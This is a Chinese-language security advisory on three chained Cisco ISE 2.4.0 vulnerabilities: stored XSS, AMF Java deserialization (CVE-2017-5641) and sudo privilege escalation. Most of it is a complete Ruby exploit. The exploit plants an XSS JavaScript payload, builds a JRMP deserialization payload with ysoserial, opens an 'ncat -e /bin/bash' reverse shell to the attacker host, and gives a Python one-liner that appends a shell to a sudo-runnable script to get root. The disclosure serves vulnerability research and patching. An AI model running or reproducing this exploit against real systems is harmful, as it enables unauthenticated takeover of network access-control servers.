一、漏洞概要
我们发现,Cisco Identity Services Engine(ISE,身份服务引擎)存在3个漏洞,当这些漏洞被利用时,将允许未经身份验证的攻击者实现root权限并远程执行代码。第一个漏洞是存储型XSS文件上传漏洞,允许攻击者在受害者浏览器中上传并执行HTML页面。第二个是不安全的Flex AMF Java对象反序列化漏洞(CVE-2017-5641),该漏洞也是我们进行利用的漏洞。第三个是通过不正确的sudo文件权限实现权限提升,从而让本地攻击者以root身份运行代码。
二、厂商响应
Cisco已经为报告的XSS漏洞分配CVE-ID:CVE-2018-15440,并且在2019年1月9日发布了安全通告:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190109-ise-multi-xss
三、贡献者
一位独立安全研究员Pedro Ribeiro向Beyond Security的SecuriTeam安全披露计划报告了此漏洞。
四、受影响的系统
Cisco Identity Services Engine 2.4.0版本
五、漏洞详情
攻击维度:远程
在LiveLogSettingsServlet中(位于/admin/LiveLogSettingsServlet),包含存储型跨站脚本漏洞。doGet() HTTP请求处理程序将Action参数作为HTTP查询变量接收,该变量可以是“read”(读取)或“write”(写入)。
使用“write”参数,它将调用writeLiveLogSettings()函数,该函数将获取多个查询字符串变量,例如Columns、Rows、Refresh_rate和Time_period。然后,将这些查询字符串变量的内容写入/opt/CSCOcpm/mnt/dashboard/liveAuthProps.txt中,服务器将响应200 OK。
然而,这些参数未经过验证,可以包含任何文本。当Action参数等于“read”时,servlet将读取/opt/CSCOcpm/mnt/dashboard/liveAuthProps.txt文件,并使用Content-Type “text/html”将显示内容返回用户,从而导致写入到该文件的内容由浏览器呈现并执行。要发起一次简单的攻击,我们可以发送以下请求:
GET /admin/LiveLogSettingsServlet?Action=write&Columns=1&Rows=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e&Refresh_rate=1337&Time_period=1337
然后可以通过以下方式触发:
GET /admin/LiveLogSettingsServlet?Action=read HTTP/1.1 ----- HTTP/1.1 200 OK Content-Type: text/html;charset=UTF-8 Content-Length: 164 Server: <Settings> <Columns> <Col>1</Col> </Columns> <Rows><script>alert(1)</script></Rows> <Refresh_rate>1337</Refresh_rate> <Time_period>1337</Time_period> </Settings>
攻击维度:远程
限制条件:需要在管理Web页面进行身份验证
通过向/admin/messagebroker/amfsecure发送带有随机数据的HTTP POST请求,服务器将响应200 OK和二进制数据,其中包括:
...Unsupported AMF version XXXXX...
这表示服务器在该位置具有Apache / Adobe Flex AMF(BlazeDS)终端。在服务器上运行的BlazeDS库版本为4.0.0.14931,这意味着它容易受到CVE-2017-5641的攻击,该漏洞的公开描述如下:“Apache Flex BlazeDS的早期版本(4.7.2及更早版本)没有限制默认情况下允许AMF(X)对象反序列化的类型。在反序列化过程中,由于几种已知类型具有超出预期的副作用,因此可能会发生代码执行。其他未知类型也可能会表现出这种行为。存在Java标准库的一个向量,允许攻击者触发可信的漏洞利用代码,导致对不可信数据进行Java反序列化。在第三方库中的其他已知向量,也可以用于触发远程代码执行。”
该漏洞此前在DrayTek VigorACS中被Agile信息安全团队进行了漏洞利用展示,详情可以参见文末参考文章的[3]和[4]。有关该漏洞的更多详细信息,请参阅[5]、[6]和[7]。
漏洞利用链的工作方式与前一个相同:
a) 如[6]中所述,将AMF二进制Payload发送到/admin/messagebroker/amfsecure,从而触发对攻击者的Java远程方法协议(JRMP)回调。
b) 使用ysoserial的JRMP监听器[8],接收JRMP连接。
c) 使用ROME Payload调用ysoserial,因为ROME的易受攻击版本(1.0 RC2)位于服务器的Java类路径中。
d) 执行ncat(二进制文件位于ISE虚拟设备上),并返回一个作为iseaminportal用户运行的反向Shell。
攻击维度:本地
限制条件:需要以iseadminportal用户身份运行的命令Shell
Iseadminportal用户可以通过sudo(sudo –l的输出)以root身份运行各种命令:
(root) NOPASSWD: /opt/CSCOcpm/bin/resetMntDb.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/resetMnTSessDir.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/setdbpw.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/sync_export.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/sync_import.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/partial_sync_export.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/partial_sync_import.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/partial_sync_cleanup.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/ttcontrol.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/updatewallet.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/log-list.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/file-info.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/delete-log-file.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/debug-log-config.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/showinv.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/isebackupcancel.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/nssutils.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/killsubnetscan.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/thirdpartyguestvlan.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/ise-3rdpty-guestvlan.sh * (root) NOPASSWD: /opt/CSCOcpm/mnt/bin/CheckDiskSpace.sh * (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/genbackup.sh * (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/createHCTOnPAPScript.sh * (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/backupHostConfigTablesOnPAP.sh * (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/dictionary_attribute_update.sh * (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/deleteguest.sh * (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/iseupgrade-dbexport.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/pxgrid_backup.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/pxgrid_restore.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/pxgrid_sync.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/pbis_monit.sh * (root) NOPASSWD: /opt/CSCOcpm/prrt/bin/FIPS_lockdown.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/iseupgradeui.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/show_iowait.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/kerberosprobe.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/sxp-servercontrol.sh *
上述所有文件,都可以由iseadminportal用户写入。这使得攻击者可以轻松实现到root的权限提升。攻击者所需要做的就是编辑文件,并在第二行和(或)最后一行添加“/bin/sh”,然后以sudo身份运行脚本,以获取root Shell。
六、漏洞利用
#!/usr/bin/ruby =begin Exploit for Cisco Identify Services Engine (ISE), tested on version 2.4.0.357 CVE-TODO By Pedro Ribeiro (<a href="/cdn-cgi/l/email-protection" data-cfemail="34445150465d56745359555d581a575b59">[email protected]</a>) from Agile Information Security, and Dominik Czarnota (<a href="/cdn-cgi/l/email-protection" data-cfemail="85e1eae8ecebeceeabe7abe6ffe4f7ebeaf1e4c5e2e8e4ece9abe6eae8">[email protected]</a>) This exploit starts by abusing a stored cross scripting to deploy malicious Javascript to /admin/LiveLogSettingsServlet. The Javascript contains a binary payload that will cause a XHR request to the AMF endpoint on the ISE server, which is vulnerable to CVE-2017-5641 (Unsafe Java AMF deserialization), leading to remote code execution as the iseadminportal user. This AMF deserialization can only be triggered by an authenticated user, hence why the stored XSS is necessary. The exploit will wait until the server executes the AMF deserialization payload and spawn netcat to receive a reverse shell from the server. Once we have code execution as the unprivileged iseadminportal user, we can edit various shell script files under /opt/CSCOcpm/bin/ and run them as sudo, escalating our privileges to root. This exploit has only been tested in Linux. The two jars described below are required for execution of the exploit, and they should be in the same directory as this script. == ysoserial.jar - get the latest version from https://github.com/frohoff/ysoserial/releases acsFlex.jar - build the following code as a JAR: import flex.messaging.io.amf.MessageBody; import flex.messaging.io.amf.ActionMessage; import flex.messaging.io.SerializationContext; import flex.messaging.io.amf.AmfMessageSerializer; import java.io.*; public class ACSFlex { public static void main(String[] args) { Object unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1])); // serialize object to AMF message try { byte[] amf = new byte[0]; amf = serialize((unicastRef)); DataOutputStream os = new DataOutputStream(new FileOutputStream(args[2])); os.write(amf); System.out.println("Done, payload written to " + args[2]); } catch (IOException e) { e.printStackTrace(); } } public static Object generateUnicastRef(String host, int port) { java.rmi.server.ObjID objId = new java.rmi.server.ObjID(); sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port); sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false); return new sun.rmi.server.UnicastRef(liveRef); } public static byte[] serialize(Object data) throws IOException { MessageBody body = new MessageBody(); body.setData(data); ActionMessage message = new ActionMessage(); message.addBody(body); ByteArrayOutputStream out = new ByteArrayOutputStream(); AmfMessageSerializer serializer = new AmfMessageSerializer(); serializer.initialize(SerializationContext.getSerializationContext(), out, null); serializer.writeMessage(message); return out.toByteArray(); } } =end require 'tmpdir' require 'net/http' require 'uri' require 'openssl' require 'base64' class String def black; "/e[30m#{self}/e[0m" end def red; "/e[31m#{self}/e[0m" end def green; "/e[32m#{self}/e[0m" end def brown; "/e[33m#{self}/e[0m" end def blue; "/e[34m#{self}/e[0m" end def magenta; "/e[35m#{self}/e[0m" end def cyan; "/e[36m#{self}/e[0m" end def gray; "/e[37m#{self}/e[0m" end def bg_black; "/e[40m#{self}/e[0m" end def bg_red; "/e[41m#{self}/e[0m" end def bg_green; "/e[42m#{self}/e[0m" end def bg_brown; "/e[43m#{self}/e[0m" end def bg_blue; "/e[44m#{self}/e[0m" end def bg_magenta; "/e[45m#{self}/e[0m" end def bg_cyan; "/e[46m#{self}/e[0m" end def bg_gray; "/e[47m#{self}/e[0m" end def bold; "/e[1m#{self}/e[22m" end def italic; "/e[3m#{self}/e[23m" end def underline; "/e[4m#{self}/e[24m" end def blink; "/e[5m#{self}/e[25m" end def reverse_color; "/e[7m#{self}/e[27m" end end puts "" puts "Cisco Identity Services Engine (ISE) remote code execution as root".cyan.bold puts " Tested on ISE virtual appliance 2.4.0.357".cyan.bold puts "By:".blue.bold puts " Pedro Ribeiro (<a href="/cdn-cgi/l/email-protection" data-cfemail="9aeafffee8f3f8dafdf7fbf3f6b4f9f5f7">[email protected]</a>) / Agile Information Security".blue.bold puts " Dominik Czarnota (<a href="/cdn-cgi/l/email-protection" data-cfemail="e5818a888c8b8c8ecb87cb869f84978b8a9184a58288848c89cb868a88">[email protected]</a>)".blue.bold puts "" script_dir = File.expand_path(File.dirname(__FILE__)) ysoserial_jar = File.join(script_dir, 'ysoserial.jar') acsflex_jar = File.join(script_dir, 'acsFlex.jar') if (ARGV.length < 3) or not File.exist?(ysoserial_jar) or not File.exist?(acsflex_jar) puts "Usage: ./ISEpwn.rb <rhost> <rport> <lhost>".bold puts "Spawns a reverse shell from rhost to lhost" puts "" puts "NOTES:/tysoserial.jar and the included acsFlex.jar must be in this script's directory." puts "/tTwo random TCP ports in the range 10000-65535 are used to receive connections from the target." puts "" exit(-1) end # Unfortunately I couldn't find a better way to make this interactive, # so the user has to copy and paste the python command to write to the shell script # and execute as sudo. # Spent hours fighting with Ruby and trying to get this without user interaction, # hopefully some Ruby God can enlighten me on how to do it properly. def start_nc_thread(nc_port, jrmp_pid) IO.popen("nc -lvkp #{nc_port.to_s} 2>&1").each do |line| if line.include?('Connection from') Process.kill("TERM", jrmp_pid) Process.wait(jrmp_pid) puts "[+] Shelly is here! Now to escalate your privileges to root, ".green.bold + "copy and paste the following:".green.bold puts %{python -c 'import os;f=open("/opt/CSCOcpm/bin/file-info.sh", "a+", 0);f.write("if [ //"$1//" == 1337 ];then//n/bin/bash//nfi//n");f.close();os.system("sudo /opt/CSCOcpm/bin/file-info.sh 1337")'} puts "[+] Press enter, then interact with the root shell,".green.bold + " and press CTRL + C when done".green.bold else puts line end end end YSOSERIAL = "#{ysoserial_jar} ysoserial.exploit.JRMPListener JRMP_PORT ROME" JS_PAYLOAD = %{<script>function b64toBlob(e,r,a){r=r||"",a=a||512;for(var t=atob(e),n=[],o=0;o<t.length;o+=a){for(var l=t.slice(o,o+a),b=new Array(l.length),h=0;h<l.length;h++)b[h]=l.charCodeAt(h);var p=new Uint8Array(b);n.push(p)}return new Blob(n,{type:r})}b64_payload="<PAYLOAD>";var xhr=new XMLHttpRequest;xhr.open("POST","https://<RHOST>/admin/messagebroker/amfsecure",!0),xhr.send(b64toBlob(b64_payload,"application/x-amf"));</script>} rhost = ARGV[0] rport = ARGV[1] lhost = ARGV[2].dup.force_encoding('ASCII') Dir.mktmpdir { |temp_dir| nc_port = rand(10000..65535) puts "[+] Picked port #{nc_port} to receive the shell".cyan.bold # step 1: create the AMF payload puts "[+] Creating AMF payload...".green.bold jrmp_port = rand(10000..65535) amf_file = temp_dir + "/payload.ser" system("java -jar #{acsflex_jar} #{lhost} #{jrmp_port} #{amf_file}") amf_payload = File.binread(amf_file) # step 2: start the ysoserial JRMP listener puts "[+] Picked port #{jrmp_port} for the JRMP server".cyan.bold # build the command line argument that will be executed by the server java = "java -cp #{YSOSERIAL.gsub('JRMP_PORT', jrmp_port.to_s)}" cmd = "ncat -e /bin/bash SERVER PORT".gsub("SERVER", lhost).gsub("PORT", nc_port.to_s) puts "[+] Sending command #{cmd}".green.bold java_split = java.split(' ') << cmd jrmp = IO.popen(java_split) jrmp_pid = jrmp.pid sleep 5 # step 3: start the netcat reverse shell listener t = Thread.new{start_nc_thread(nc_port, jrmp_pid)} # step 4: fire the XSS payload and wait for our trap to be sprung js_payload = JS_PAYLOAD.gsub('<RHOST>', "#{rhost}:#{rport}"). gsub('<PAYLOAD>', Base64.strict_encode64(amf_payload)) uri = URI.parse("https://#{rhost}:#{rport}/admin/LiveLogSettingsServlet") params = { :Action => "write", :Columns => rand(1..1000).to_s, :Rows => js_payload, :Refresh_rate => rand(1..1000).to_s, :Time_period => rand(1..1000).to_s } uri.query = URI.encode_www_form( params ) Net::HTTP.start(uri.host, uri.port, {:use_ssl => true, :verify_mode => OpenSSL::SSL::VERIFY_NONE }) do |http| #http.set_debug_output($stdout) res = http.get(uri) end puts "[+] XSS payload sent. Waiting for an admin to take the bait...".green.bold begin t.join rescue Interrupt begin Process.kill("TERM", jrmp_pid) Process.wait(jrmp_pid) rescue Errno::ESRCH # if we try to kill a dead process we get this error end puts "Exiting..." end } exit 0